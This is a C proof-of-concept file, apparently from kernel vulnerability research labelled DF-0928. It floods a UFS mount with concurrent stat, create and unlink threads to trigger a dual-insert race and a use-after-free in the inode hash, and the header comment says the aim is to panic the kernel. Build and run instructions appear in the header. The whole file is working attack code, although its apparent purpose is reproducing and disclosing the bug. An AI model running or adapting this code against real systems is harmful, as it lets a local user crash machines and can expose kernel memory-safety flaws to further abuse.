DF-0928 / race_ufs_ihash3.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | /* * race_ufs_ihash3.c - DF-0928 PoC (maximum aggression): with 500 pre-created * files on a tiny-hash UFS mount (maxvnodes=64 → hash size 64 → ~8 inodes * per bucket), race many stat/open threads against churn threads doing * create+delete to drive continuous vnode reclaim (ufs_reclaim→ufs_ihashrem * →kfree) concurrent with hash walkers (ufs_ihashget/lookup). * * Race modes exercised: * (A) Dual-insert: hardlinks in separate dirs → concurrent ffs_vget for * same inode → dual ufs_ihashins store → orphan → KKASSERT panic. * (B) Walker-UAF: walker reads i_next from an inode being freed by * concurrent reclaim → poisoned read (INVARIANTS) → panic. * * Build: cc -O2 -pthread -o race_ufs_ihash3 race_ufs_ihash3.c * Run: ./race_ufs_ihash3 /mnt/ufs_test */ #define _GNU_SOURCE #include <pthread.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <sys/resource.h> #include <errno.h> #include <time.h> static const char *BASE = "/mnt/ufs_test"; static int NRACERS = 16; static int NCHURNERS = 8; static int NFLILES = 500; static volatile int stop = 0; static pthread_barrier_t bar; static char hl_paths[64][256]; /* Racer: stat() different files in a tight loop to drive hash walks. * Also stat() hardlinks (same inode, different dirs) for dual-insert race. */ static void * racer(void *a) { int idx = (int)(long)a; struct stat st; char p[256]; pthread_barrier_wait(&bar); while (!stop) { /* stat hardlink (for dual-insert race) */ if (idx < NRACERS && hl_paths[idx][0]) stat(hl_paths[idx], &st); /* stat random pre-created files (for walker-UAF: walks a bucket * that may have inodes being freed by churners) */ for (int i = 0; i < 50; i++) { int n = (idx * 7 + i * 13 + (int)time(NULL)) % NFLILES + 1; snprintf(p, sizeof p, "%s/f%d", BASE, n); stat(p, &st); } } return NULL; } /* Churner: create+delete files to force vnode reclaim → ufs_ihashrem → kfree */ static void * churner(void *a) { long id = (long)a; char p[256]; pthread_barrier_wait(&bar); while (!stop) { for (int i = 0; i < 30; i++) { snprintf(p, sizeof p, "%s/.c%ld_%d", BASE, id, i); int x = open(p, O_CREAT | O_RDWR, 0600); if (x >= 0) { write(x, "x", 1); close(x); } unlink(p); } } return NULL; } int main(int argc, char **argv) { if (argc > 1) BASE = argv[1]; int duration = argc > 2 ? atoi(argv[2]) : 180; struct rlimit rl; rl.rlim_cur = rl.rlim_max = 8192; setrlimit(RLIMIT_NOFILE, &rl); /* Create target + hardlinks for dual-insert race. */ char t[256]; snprintf(t, sizeof t, "%s/TARGET", BASE); unlink(t); int fd = open(t, O_CREAT | O_EXCL | O_WRONLY, 0600); if (fd >= 0) { write(fd, "target", 6); close(fd); } for (int d = 0; d < NRACERS && d < 64; d++) { char dir[256]; snprintf(dir, sizeof dir, "%s/r%d", BASE, d); mkdir(dir, 0700); snprintf(hl_paths[d], sizeof hl_paths[0], "%s/r%d/hl", BASE, d); unlink(hl_paths[d]); link(t, hl_paths[d]); } printf("DF-0928: %d racers + %d churners, %d files, %ds on %s\n", NRACERS, NCHURNERS, NFLILES, duration, BASE); fflush(stdout); time_t end = time(NULL) + duration; pthread_barrier_init(&bar, NULL, NRACERS + NCHURNERS); pthread_t th[128]; int nth = 0; for (int i = 0; i < NRACERS; i++) pthread_create(&th[nth++], NULL, racer, (void *)(long)i); for (long i = 0; i < NCHURNERS; i++) pthread_create(&th[nth++], NULL, churner, (void *)i); while (time(NULL) < end) { sleep(10); printf(" %lds left\n", (long)(end - time(NULL))); fflush(stdout); } stop = 1; for (int i = 0; i < nth; i++) pthread_join(th[i], NULL); /* cleanup hardlinks */ for (int d = 0; d < NRACERS && d < 64; d++) { unlink(hl_paths[d]); char dir[256]; snprintf(dir, sizeof dir, "%s/r%d", BASE, d); rmdir(dir); } unlink(t); printf("DF-0928: completed without panic.\n"); return 0; } |